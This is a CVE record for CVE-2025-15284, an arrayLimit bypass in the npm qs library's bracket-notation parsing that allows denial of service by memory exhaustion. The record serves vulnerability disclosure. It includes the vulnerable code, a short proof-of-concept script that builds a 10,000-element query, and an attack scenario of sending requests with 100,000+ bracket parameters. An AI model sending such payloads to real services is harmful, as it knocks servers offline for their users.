{
  "containers": {
    "cna": {
      "affected": [
        {
          "collectionURL": "https://npmjs.com/qs",
          "defaultStatus": "affected",
          "modules": [
            "parse"
          ],
          "packageName": "qs",
          "repo": "https://github.com/ljharb/qs",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 6.14.1",
              "versionType": "semver"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "supportingMedia": [
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              "value": "Improper Input Validation vulnerability in qs (parse modules) allows HTTP DoS.\u003cp\u003eThis issue affects qs: \u0026lt; 6.14.1.\u003c/p\u003e\u003ch3\u003e\u003cbr\u003eSummary\u003c/h3\u003e\u003cp\u003eThe \u003ccode\u003earrayLimit\u003c/code\u003e\u0026nbsp;option in qs does not enforce limits for bracket notation (\u003ccode\u003ea[]=1\u0026amp;a[]=2\u003c/code\u003e), allowing attackers to cause denial-of-service via memory exhaustion. Applications using \u003ccode\u003earrayLimit\u003c/code\u003e\u0026nbsp;for DoS protection are vulnerable.\u003c/p\u003e\u003ch3\u003eDetails\u003c/h3\u003e\u003cp\u003eThe \u003ccode\u003earrayLimit\u003c/code\u003e\u0026nbsp;option only checks limits for indexed notation (\u003ccode\u003ea[0]=1\u0026amp;a[1]=2\u003c/code\u003e) but completely bypasses it for bracket notation (\u003ccode\u003ea[]=1\u0026amp;a[]=2\u003c/code\u003e).\u003c/p\u003e\u003cp\u003e\u003cstrong\u003eVulnerable code\u003c/strong\u003e\u0026nbsp;(\u003ccode\u003elib/parse.js:159-162\u003c/code\u003e):\u003c/p\u003e\u003cdiv\u003e\u003cpre\u003eif (root === \u0027[]\u0027 \u0026amp;\u0026amp; options.parseArrays) {\n    obj = utils.combine([], leaf);  // No arrayLimit check\n}\u003c/pre\u003e\u003cdiv\u003e\u003c/div\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003eWorking code\u003c/strong\u003e\u0026nbsp;(\u003ccode\u003elib/parse.js:175\u003c/code\u003e):\u003c/p\u003e\u003cdiv\u003e\u003cpre\u003eelse if (index \u0026lt;= options.arrayLimit) {  // Limit checked here\n    obj = [];\n    obj[index] = leaf;\n}\u003c/pre\u003e\u003cdiv\u003e\u003c/div\u003e\u003c/div\u003e\u003cp\u003eThe bracket notation handler at line 159 uses \u003ccode\u003eutils.combine([], leaf)\u003c/code\u003e\u0026nbsp;without validating against \u003ccode\u003eoptions.arrayLimit\u003c/code\u003e, while indexed notation at line 175 checks \u003ccode\u003eindex \u0026lt;= options.arrayLimit\u003c/code\u003e\u0026nbsp;before creating arrays.\u003c/p\u003e\u003ch3\u003ePoC\u003c/h3\u003e\u003cp\u003e\u003cstrong\u003eTest 1 - Basic bypass:\u003c/strong\u003e\u003c/p\u003e\u003cdiv\u003e\u003cpre\u003enpm install qs\u003c/pre\u003e\u003cdiv\u003e\u003c/div\u003e\u003c/div\u003e\u003cdiv\u003e\u003cpre\u003econst qs = require(\u0027qs\u0027);\nconst result = qs.parse(\u0027a[]=1\u0026amp;a[]=2\u0026amp;a[]=3\u0026amp;a[]=4\u0026amp;a[]=5\u0026amp;a[]=6\u0027, { arrayLimit: 5 });\nconsole.log(result.a.length);  // Output: 6 (should be max 5)\u003c/pre\u003e\u003cdiv\u003e\u003c/div\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003eTest 2 - DoS demonstration:\u003c/strong\u003e\u003c/p\u003e\u003cdiv\u003e\u003cpre\u003econst qs = require(\u0027qs\u0027);\nconst attack = \u0027a[]=\u0027 + Array(10000).fill(\u0027x\u0027).join(\u0027\u0026amp;a[]=\u0027);\nconst result = qs.parse(attack, { arrayLimit: 100 });\nconsole.log(result.a.length);  // Output: 10000 (should be max 100)\u003c/pre\u003e\u003cdiv\u003e\u003c/div\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003eConfiguration:\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003earrayLimit: 5\u003c/code\u003e\u0026nbsp;(test 1) or \u003ccode\u003earrayLimit: 100\u003c/code\u003e\u0026nbsp;(test 2)\u003c/li\u003e\u003cli\u003eUse bracket notation: \u003ccode\u003ea[]=value\u003c/code\u003e\u0026nbsp;(not indexed \u003ccode\u003ea[0]=value\u003c/code\u003e)\u003c/li\u003e\u003c/ul\u003e\u003ch3\u003eImpact\u003c/h3\u003e\u003cp\u003eDenial of Service via memory exhaustion. Affects applications using \u003ccode\u003eqs.parse()\u003c/code\u003e\u0026nbsp;with user-controlled input and \u003ccode\u003earrayLimit\u003c/code\u003e\u0026nbsp;for protection.\u003c/p\u003e\u003cp\u003e\u003cstrong\u003eAttack scenario:\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003eAttacker sends HTTP request: \u003ccode\u003eGET /api/search?filters[]=x\u0026amp;filters[]=x\u0026amp;...\u0026amp;filters[]=x\u003c/code\u003e\u0026nbsp;(100,000+ times)\u003c/li\u003e\u003cli\u003eApplication parses with \u003ccode\u003eqs.parse(query, { arrayLimit: 100 })\u003c/code\u003e\u003c/li\u003e\u003cli\u003eqs ignores limit, parses all 100,000 elements into array\u003c/li\u003e\u003cli\u003eServer memory exhausted \u2192 application crashes or becomes unresponsive\u003c/li\u003e\u003cli\u003eService unavailable for all users\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cstrong\u003eReal-world impact:\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003eSingle malicious request can crash server\u003c/li\u003e\u003cli\u003eNo authentication required\u003c/li\u003e\u003cli\u003eEasy to automate and scale\u003c/li\u003e\u003cli\u003eAffects any endpoint parsing query strings with bracket notation\u003c/li\u003e\u003c/ul\u003e"
            }
          ],
          "value": "Improper Input Validation vulnerability in qs (parse modules) allows HTTP DoS.This issue affects qs: \u003c 6.14.1.\n\n\nSummaryThe arrayLimit\u00a0option in qs does not enforce limits for bracket notation (a[]=1\u0026a[]=2), allowing attackers to cause denial-of-service via memory exhaustion. Applications using arrayLimit\u00a0for DoS protection are vulnerable.\n\nDetailsThe arrayLimit\u00a0option only checks limits for indexed notation (a[0]=1\u0026a[1]=2) but completely bypasses it for bracket notation (a[]=1\u0026a[]=2).\n\nVulnerable code\u00a0(lib/parse.js:159-162):\n\nif (root === \u0027[]\u0027 \u0026\u0026 options.parseArrays) {\n    obj = utils.combine([], leaf);  // No arrayLimit check\n}\n\n\n\n\n\nWorking code\u00a0(lib/parse.js:175):\n\nelse if (index \u003c= options.arrayLimit) {  // Limit checked here\n    obj = [];\n    obj[index] = leaf;\n}\n\n\n\n\n\nThe bracket notation handler at line 159 uses utils.combine([], leaf)\u00a0without validating against options.arrayLimit, while indexed notation at line 175 checks index \u003c= options.arrayLimit\u00a0before creating arrays.\n\nPoCTest 1 - Basic bypass:\n\nnpm install qs\n\n\n\n\n\nconst qs = require(\u0027qs\u0027);\nconst result = qs.parse(\u0027a[]=1\u0026a[]=2\u0026a[]=3\u0026a[]=4\u0026a[]=5\u0026a[]=6\u0027, { arrayLimit: 5 });\nconsole.log(result.a.length);  // Output: 6 (should be max 5)\n\n\n\n\n\nTest 2 - DoS demonstration:\n\nconst qs = require(\u0027qs\u0027);\nconst attack = \u0027a[]=\u0027 + Array(10000).fill(\u0027x\u0027).join(\u0027\u0026a[]=\u0027);\nconst result = qs.parse(attack, { arrayLimit: 100 });\nconsole.log(result.a.length);  // Output: 10000 (should be max 100)\n\n\n\n\n\nConfiguration:\n\n  *  arrayLimit: 5\u00a0(test 1) or arrayLimit: 100\u00a0(test 2)\n  *  Use bracket notation: a[]=value\u00a0(not indexed a[0]=value)\n\n\nImpactDenial of Service via memory exhaustion. Affects applications using qs.parse()\u00a0with user-controlled input and arrayLimit\u00a0for protection.\n\nAttack scenario:\n\n  *  Attacker sends HTTP request: GET /api/search?filters[]=x\u0026filters[]=x\u0026...\u0026filters[]=x\u00a0(100,000+ times)\n  *  Application parses with qs.parse(query, { arrayLimit: 100 })\n  *  qs ignores limit, parses all 100,000 elements into array\n  *  Server memory exhausted \u2192 application crashes or becomes unresponsive\n  *  Service unavailable for all users\nReal-world impact:\n\n  *  Single malicious request can crash server\n  *  No authentication required\n  *  Easy to automate and scale\n  *  Affects any endpoint parsing query strings with bracket notation"
        }
      ],
      "impacts": [
        {
          "capecId": "CAPEC-469",
          "descriptions": [
            {
              "lang": "en",
              "value": "CAPEC-469 HTTP DoS"
            }
          ]
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "Automatable": "NOT_DEFINED",
            "Recovery": "NOT_DEFINED",
            "Safety": "NOT_DEFINED",
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 8.7,
            "baseSeverity": "HIGH",
            "exploitMaturity": "NOT_DEFINED",
            "privilegesRequired": "NONE",
            "providerUrgency": "NOT_DEFINED",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "valueDensity": "NOT_DEFINED",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "HIGH",
            "vulnConfidentialityImpact": "NONE",
            "vulnIntegrityImpact": "NONE",
            "vulnerabilityResponseEffort": "NOT_DEFINED"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en",
              "value": "GENERAL"
            }
          ]
        },
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "format": "CVSS",
          "scenarios": [
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              "lang": "en",
              "value": "GENERAL"
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          ]
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      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-20",
              "description": "CWE-20 Improper Input Validation",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2025-12-29T22:56:45.240Z",
        "orgId": "7ffcee3d-2c14-4c3e-b844-86c6a321a158",
        "shortName": "harborist"
      },
      "references": [
        {
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://github.com/ljharb/qs/security/advisories/GHSA-6rw7-vpxm-498p"
        },
        {
          "tags": [
            "patch"
          ],
          "url": "https://github.com/ljharb/qs/commit/3086902ecf7f088d0d1803887643ac6c03d415b9"
        }
      ],
      "source": {
        "discovery": "UNKNOWN"
      },
      "title": "arrayLimit bypass in bracket notation allows DoS via memory exhaustion",
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      }
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  "cveMetadata": {
    "assignerOrgId": "7ffcee3d-2c14-4c3e-b844-86c6a321a158",
    "assignerShortName": "harborist",
    "cveId": "CVE-2025-15284",
    "datePublished": "2025-12-29T22:56:45.240Z",
    "dateReserved": "2025-12-29T21:36:51.399Z",
    "dateUpdated": "2025-12-29T22:56:45.240Z",
    "state": "PUBLISHED"
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